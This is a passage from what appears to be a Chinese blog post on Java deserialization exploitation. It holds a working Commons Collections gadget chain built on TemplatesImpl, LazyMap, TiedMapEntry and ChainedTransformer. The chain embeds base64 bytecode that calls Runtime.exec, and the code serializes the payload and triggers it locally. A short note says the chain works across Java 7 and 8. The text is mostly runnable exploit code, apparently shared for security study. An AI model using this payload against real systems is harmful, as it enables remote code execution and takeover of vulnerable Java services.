dGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAQamF2YS9sYW5nL1N5c3RlbQEAA291dAEAFUxqYXZhL2lvL1ByaW50U3RyZWFtOwEAE2phdmEvaW8vUHJpbnRTdHJlYW0BAAdwcmludGxuAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEAD3ByaW50U3RhY2tUcmFjZQAhAAoACwAAAAAAAwABAAwADQACAA4AAAAZAAAAAwAAAAGxAAAAAQAPAAAABgABAAAACwAQAAAABAABABEAAQAMABIAAgAOAAAAGQAAAAQAAAABsQAAAAEADwAAAAYAAQAAAAwAEAAAAAQAAQARAAEAEwAUAAEADgAAAGwAAgACAAAAHiq3AAGyAAISA7YABLgABRIGtgAHV6cACEwrtgAJsQABAAwAFQAYAAgAAgAPAAAAHgAHAAAADwAEABAADAASABUAFQAYABMAGQAUAB0AFgAVAAAAEAAC/wAYAAEHABYAAQcAFwQAAQAYAAAAAgAZ");

TemplatesImpl obj = new TemplatesImpl();

setFieldValue(obj, "_bytecodes", new byte[][] {code});

setFieldValue(obj, "_name", "HelloTemplatesImpl");

setFieldValue(obj, "_tfactory", new TransformerFactoryImpl());

Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(TrAXFilter.class),

new InstantiateTransformer(

new Class[] { Templates.class },

new Object[] { obj })

};

Transformer transformerChain = new ChainedTransformer(fakeTransformers);

Map innerMap = new HashMap();

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");

Map expMap = new HashMap();

expMap.put(tme, "valuevalue"); //为了调用hashCode()

outerMap.remove("keykey"); //因为LazyMap触发要求是获取不到这个value,所以要删除

Field f = ChainedTransformer.class.getDeclaredField("iTransformers");

f.setAccessible(true);

f.set(transformerChain, transformers);

// 生成序列化字符串

ByteArrayOutputStream barr = new ByteArrayOutputStream();

ObjectOutputStream oos = new ObjectOutputStream(barr);

oos.writeObject(expMap);

oos.close();

//序列化流写入文件

// try

// {

// FileOutputStream fileOut = new FileOutputStream("D:\\tmp\\e.ser");

// ObjectOutputStream out = new ObjectOutputStream(fileOut);

// out.writeObject(expMap);

// out.close();

// fileOut.close();

// System.out.println("Serialized data is saved in D:\\tmp\\e.ser");

// }catch(IOException i)

// {

// i.printStackTrace();

// }

// 本地测试触发

System.out.println(barr);

ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));

Object o = (Object)ois.readObject();

}

}

利用了cc6的TiedMapEntry来通杀Java7和8,由于触发的时候会报错退出,使用了fakeTransformers来避免构造时触发,最后在生成序列化数据流的时候再把真正的ChainedTransformer替换进去

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值